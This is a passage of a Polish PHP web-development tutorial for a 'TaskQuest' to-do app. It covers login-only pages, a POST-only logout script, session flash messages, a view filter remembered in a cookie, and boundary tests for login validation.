<p class="wp-block-paragraph"><strong>Sprawdź:</strong> w nowym oknie incognito otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — ląduje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>. To samo dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola</code> — strona główna wita „Witaj, Ola!” i pokazuje „Zalogowano jako Ola_2026”. W zwykłym oknie (zalogowana/y jako Kama) nadal „Witaj, Kama!”. <strong>Dwie przeglądarki, dwie sesje, dwóch użytkowników</strong> — ale ta sama lista zadań i te same XP (pamiętasz uwagę z początku lekcji?).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> blok danych użytkownika to dwie linie przypisania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>. Nie potrzeba tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>: linię wyżej <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> gwarantuje, że niezalogowany do tego miejsca nie dojdzie, a oba klucze zapisuje razem jedno miejsce w aplikacji — <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — początek pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION&#91;'imie'];
$login = $_SESSION&#91;'login'];
</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — prezentacja. Usuń:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;?php
        if (walidujLogin($login)) {
            echo "&lt;p&gt;Login poprawny: $login&lt;/p&gt;";
        } else {
            echo "&lt;p&gt;Login jest niepoprawny.&lt;/p&gt;";
        }
        ?&gt;
</code></pre>



<p class="wp-block-paragraph">i wstaw w to miejsce:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $login; ?&gt;&lt;/strong&gt;&lt;/p&gt;
</code></pre>



<p class="wp-block-paragraph">Dlaczego usuwamy ten blok? Od dziś login trafia do sesji <strong>wyłącznie</strong> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, i to dopiero po sprawdzeniu przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> warunek byłby zawsze prawdziwy, a gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> — martwym kodem. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> <strong>zostaje</strong> — przeniosła się tam, gdzie login naprawdę przychodzi od użytkownika. (Sprawdzać trzeba dane w momencie, gdy wchodzą do aplikacji, a nie przy każdym wyświetleniu.)</p>



<p class="wp-block-paragraph"><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — początek pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> <strong>celowo</strong> nie dostaje ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>: od Lekcji 10 ma działać nawet przy zepsutym projekcie i dołącza tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_diagnostyczne.php</code>. To, że jest dostępna dla każdego, to znane uproszczenie — wrócimy do niego w lekcji o bezpieczeństwie.</p>
</details>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: wylogowanie</h2>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>.</strong> Skrypt nie ma własnego HTML — robi swoje i przekierowuje:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code>,</li>



<li>wylogowanie <strong>zmienia stan</strong>, więc przyjmujemy tylko POST — dla każdej innej metody przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>),</li>



<li>trzy kroki zakończenia sesji z sekcji 3.5,</li>



<li>przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>:</strong> pod akapitem „Zalogowano jako &#8230;” dodaj formularz POST z <code class="prettyprint lang-sql" style="font-size: 0.85em;">action="wyloguj.php"</code> i jednym przyciskiem „Wyloguj”.</p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong></p>



<ul class="wp-block-list">
<li>kliknij „Wyloguj” → <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>; w F12 jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, ale z <strong>innym</strong> identyfikatorem (to nowa, pusta sesja uruchomiona przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>); stary plik sesji zniknął z <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code>,</li>



<li>zaloguj się i wpisz w pasek adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> → wracasz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <strong>nadal zalogowana/y</strong>,</li>



<li>po wylogowaniu kliknij w przeglądarce „Wstecz” — możesz zobaczyć starą stronę z pamięci przeglądarki. Naciśnij F5: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>. Serwer już Cię nie zna.</li>
</ul>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Warunek dla metody to odwrócenie tego, co znasz: <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== 'POST'</code>. Przycisk wylogowania to najmniejszy możliwy formularz — <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">method</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code> i jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;button&gt;</code>, bez pól.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> — cały nowy plik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = &#91;];

if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;
</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — prezentacja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $login; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;form method="post" action="wyloguj.php"&gt;
            &lt;button type="submit"&gt;Wyloguj&lt;/button&gt;
        &lt;/form&gt;
</code></pre>



<p class="wp-block-paragraph">Dlaczego nie zwykły link <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;a href="wyloguj.php"&gt;</code>? Link to żądanie GET, a żądanie GET bardzo łatwo wywołać bez wiedzy użytkownika — np. obca strona może wstawić obrazek z <code class="prettyprint lang-sql" style="font-size: 0.85em;">src="http://localhost/taskquest/wyloguj.php"</code>. Współczesne przeglądarki częściowo blokują dołączanie ciasteczek do takich żądań (opcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite</code> — Lekcja 22), ale nie opieramy działania aplikacji na tym, jak zachowa się konkretna przeglądarka. Wylogowanie jest niegroźne, ale reguła „GET tylko czyta” chroni przed całą rodziną takich problemów. (Pełna ochrona formularzy POST przed podobnymi sztuczkami — tokeny CSRF — to Lekcja 22.)</p>
</details>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: komunikat, który pojawia się tylko raz</h2>



<p class="wp-block-paragraph">W Lekcji 13 komunikat jechał w adresie. Teraz schowamy go w sesji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. dodaj-zadanie.php (POST): zapis do pliku → ustawKomunikat('Zadanie zostało dodane.') → przekierowanie na index.php
2. index.php (GET):          pobierzKomunikat() → "Zadanie zostało dodane."  (i od razu usuwa go z sesji)
3. index.php (F5):           pobierzKomunikat() → ""  — komunikatu już nie ma
</code></pre>



<p class="wp-block-paragraph">Taki komunikat nazywa się często <strong>flash message</strong> — „błyska” raz i znika. Adres jest czysty, a komunikatu nie da się wywołać ręcznie, bo trafia do sesji wyłącznie z naszego kodu.</p>



<p class="wp-block-paragraph"><strong>Zadanie:</strong></p>



<ol class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></strong>: po <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania(...)</code> ustaw komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie zostało dodane.</code> i przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></strong>: po zapisaniu danych do sesji ustaw komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zalogowano. Powodzenia w zadaniach!</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>:
<ul class="wp-block-list">
<li>usuń zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane</code> i akapit z nią związany (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code> zostaje sam link „+ Dodaj zadanie”),</li>



<li>przed prezentacją dodaj blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- komunikat jednorazowy (z sesji) ---</code> ze zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code>,</li>



<li>na <strong>samej górze</strong> treści panelu (przed „Zdobywaj punkty za wykonane zadania!”) wyświetl <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="sukces"&gt;...&lt;/p&gt;</code>, gdy komunikat nie jest pusty. Przenosimy go na górę, bo to już nie jest komunikat tylko o zadaniach — przychodzi też po logowaniu.</li>
</ul>
</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> wywołaj <strong>dokładnie raz</strong> i zapamiętaj wynik w zmiennej. Drugie wywołanie zwróciłoby już pusty tekst. Pusty komunikat sprawdzisz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== ''</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — fragment w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — fragment po walidacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION&#91;'login'] = $login;
        $_SESSION&#91;'imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }
</code></pre>



<p class="wp-block-paragraph"><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — w bloku parametrów z adresu <strong>usuń</strong> linię:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane = ($_GET&#91;'dodano'] ?? '') === '1';
</code></pre>



<p class="wp-block-paragraph">i przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- prezentacja ---</code> dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();
</code></pre>



<p class="wp-block-paragraph"><strong>d)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — prezentacja, zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once ... header.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;?php if ($komunikat !== '') { ?&gt;
        &lt;p class="sukces"&gt;&lt;?= $komunikat; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;
</code></pre>



<p class="wp-block-paragraph">a pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code> zostaje tylko:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;
</code></pre>



<p class="wp-block-paragraph">Dlaczego wypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> jest dziś bezpieczne? Każdy komunikat, który może trafić do sesji, jest <strong>wpisany w naszym kodzie</strong> — żaden nie zawiera tekstu od użytkownika. Trzymaj się tej zasady z Lekcji 13 także przy nowych komunikatach.</p>
</details>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> dodaj zadanie → zielona ramka na górze, adres to czyste <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. F5 → ramka zniknęła. Wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code> → brak ramki, brak błędów. Wyloguj się i zaloguj → „Zalogowano. Powodzenia w zadaniach!”, po F5 znika.</p>



<h1 class="wp-block-heading">6. Kolejne zadanie — widok listy zapamiętany w cookie</h1>



<p class="wp-block-paragraph">Sesja pamięta, <strong>kto</strong> korzysta z aplikacji. Teraz coś, co ma przetrwać nawet zamknięcie przeglądarki, a przy tym nie jest groźne, gdy ktoś to zmieni: <strong>wybrany widok listy</strong>. To zadanie dla cookie.</p>



<p class="wp-block-paragraph"><strong>SAMODZIELNIE — pliki projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong></p>



<p class="wp-block-paragraph">Zasady:</p>



<ol class="wp-block-list">
<li>Gdy w adresie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> — jak dotąd decyduje adres, a wybrany widok <strong>zapisujemy w ciasteczku <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> na 30 dni</strong>.</li>



<li>Gdy w adresie <strong>nie ma</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> — widok bierzemy z ciasteczka.</li>



<li>Gdy nie ma ani parametru, ani ciasteczka — <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>.</li>



<li>Wartość z ciasteczka to dane od użytkownika — przechodzi <strong>to samo zawężenie</strong> do trzech wartości co parametr z adresu.</li>



<li>Do ciasteczka zapisujemy wartość <strong>po zawężeniu</strong> (nigdy surowy tekst z adresu).</li>



<li>Czas 30 dni zapisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> jako stałą <code class="prettyprint lang-sql" style="font-size: 0.85em;">CZAS_PAMIETANIA_WIDOKU</code> (w sekundach) — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP_NA_POZIOM</code> to „ustawienie aplikacji”, a nie liczba ukryta w środku kodu.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong> kliknij „aktywne”, potem „+ Dodaj zadanie” i dodaj zadanie — po powrocie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> widok to nadal <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>. Zamknij przeglądarkę, otwórz ją, zaloguj się — nadal <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Operator <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> można łączyć w łańcuch: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a ?? $b ?? 'domyślna'</code> — weź pierwszą wartość, która istnieje. Zawężenie z Lekcji 13 zostaje bez zmian. <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wywołaj tylko wtedy, gdy parametr był w adresie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset(...)</code>) — i pamiętaj, że cały ten blok stoi <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, więc nagłówek zdąży wyjść.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = /* adres ?? ciasteczko ?? 'wszystkie' */;

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (/* parametr był w adresie */) {
    setcookie(/* nazwa, wartość po zawężeniu, teraz + CZAS_PAMIETANIA_WIDOKU */);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    // ... bez zmian ...
};
</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> — na końcu pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---</code> zamień na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET&#91;'filtr'] ?? $_COOKIE&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET&#91;'filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};</code></pre>



<p class="wp-block-paragraph">W prezentacji nic się nie zmienia — linki widoków i linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: ...</code> działają jak dotąd.</p>
</details>



<p class="wp-block-paragraph">Przemyśl dwie decyzje:</p>



<ul class="wp-block-list">
<li><strong>Ciasteczko jest przypisane do przeglądarki, nie do użytkownika.</strong> Jeśli Kama wybierze „aktywne”, wyloguje się, a na tym samym komputerze zaloguje się Ola — Ola też zobaczy „aktywne”. Przy preferencji widoku to akceptowalne. Przy czymkolwiek ważniejszym — nie.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> nie usuwa ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code>.</strong> Wylogowanie kończy sesję, a preferencja wyglądu to ustawienie przeglądarki. (Gdybyśmy chcieli je usunąć — <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('filtr', '', time() - 3600);</code>.)</li>
</ul>



<p class="wp-block-paragraph">Ostatnie drobne zmiany:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.4</code>,</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></strong>: dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> trzy pozycje: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'zaloguj.php'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wyloguj.php'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_sesji.php'</code>. Strona powinna pokazać <strong>15 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>, a na liście plików w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/</code> — nowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code>.</li>
</ul>



<h1 class="wp-block-heading">7. Testy</h1>



<h2 class="wp-block-heading">Test 1 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> na granicach</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> <strong>Przewidź</strong> wynik każdego przypadku, zanim uruchomisz kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_tekstowe.php';

$przypadki = &#91;
    &#91;'Kama_2026', 'Kama'],
    &#91;'Ka', 'Kama'],
    &#91;'Kam', 'Kama'],
    &#91;str_repeat('a', 20), 'Kama'],
    &#91;str_repeat('a', 21), 'Kama'],
    &#91;'Kama 2026', 'Kama'],
    &#91;'Kąma_2026', 'Kama'],
    &#91;'Kama-2026', ''],
    &#91;'Kama_2026', str_repeat('ż', 30)],
    &#91;'Kama_2026', str_repeat('ż', 31)],
    &#91;'Kama_2026', 'Kama Nowak'],
    &#91;'', ''],
];

foreach ($przypadki as $numer =&gt; $dane) {
    $bledy = walidujDaneLogowania($dane&#91;0], $dane&#91;1]);
    echo ($numer + 1) . ". " . (count($bledy) === 0 ? "OK" : implode(' | ', $bledy)) . "&lt;br&gt;";
}
</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Nr</th><th>Dane (co jest nietypowe)</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>1</td><td>wszystko poprawne</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>2</td><td>login: 2 znaki</td><td>komunikat o loginie</td></tr><tr><td>3</td><td>login: 3 znaki (granica)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>4</td><td>login: 20 znaków (granica)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>5</td><td>login: 21 znaków</td><td>komunikat o loginie</td></tr><tr><td>6</td><td>spacja w loginie</td><td>komunikat o loginie</td></tr><tr><td>7</td><td>polska litera w loginie</td><td>komunikat o loginie</td></tr><tr><td>8</td><td>puste imię (myślnik w loginie jest w porządku)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię jest wymagane.</code></td></tr><tr><td>9</td><td>imię: 30 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">ż</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code> (30 znaków, choć 60 bajtów — <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_strlen()</code>)</td></tr><tr><td>10</td><td>imię: 31 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię może mieć najwyżej 30 znaków.</code></td></tr><tr><td>11</td><td>spacja w imieniu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code> — imię to nie login</td></tr><tr><td>12</td><td>wszystko puste</td><td>komunikat o loginie <code class="prettyprint lang-sql" style="font-size: 0.85em;">\|</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię jest wymagane.</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 2 — funkcje sesji i jedna wspólna sesja</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS</strong>, uruchamiany <strong>jako zalogowany</strong> użytkownik TaskQuest:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

echo czyZalogowany() ? "zalogowany&lt;br&gt;" : "niezalogowany&lt;br&gt;";

ustawKomunikat('Pierwszy');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());

ustawKomunikat('A');
ustawKomunikat('B');
var_dump(pobierzKomunikat());

ustawKomunikat('Pozdrowienia z brudnopisu');
</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co sprawdzasz</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zalogowany</code> — brudnopis widzi <strong>tę samą</strong> sesję co TaskQuest (ta sama przeglądarka, ten sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>)</td></tr><tr><td>pierwsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string(8) "Pierwszy"</code></td></tr><tr><td>drugie <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string(0) ""</code></td></tr><tr><td>dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code> pod rząd</td><td><code class="prettyprint lang-sql" style="font-size: 